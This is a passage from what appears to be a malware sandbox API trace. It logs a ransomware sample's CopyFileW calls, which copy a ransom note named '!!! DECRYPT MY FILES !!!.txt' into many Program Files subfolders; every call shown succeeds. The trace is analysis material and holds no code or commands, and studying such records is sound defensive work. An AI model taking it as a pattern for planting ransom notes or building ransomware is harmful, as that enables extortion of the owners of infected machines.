lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0210.924] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0210.932] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.599] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\BIN\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\web server extensions\\16\\bin\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.609] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\EQUATION\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\equation\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.622] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.625] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.630] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA6\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba6\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.635] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.954] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.958] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\resources\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.962] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.972] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.976] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Resources\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\resources\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0212.985] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.289] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.292] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.340] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.360] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft office\\office16\\dcf\\en\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.441] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\System\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.560] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.564] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office 15\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office 15\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.602] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office 15\\ClientX64\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office 15\\clientx64\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.607] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\MSBuild\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\msbuild\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.611] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.616] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0213.620] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\reference assemblies\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.385] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.390] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.395] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.401] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\rempl\\Logs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\rempl\\logs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.404] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\rempl\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\rempl\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.410] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Uninstall Information\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\uninstall information\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.414] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.419] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.423] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.684] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\bg-bg\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.687] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.691] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.694] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\cs-CZ\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\cs-cz\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.698] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.702] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.705] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.709] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-de\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.713] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\el-gr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0215.717] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.099] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.102] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-GB\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-gb\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.112] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-HK\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-hk\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.116] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ID\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-id\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.120] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.123] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.133] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.137] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.147] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0217.164] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program 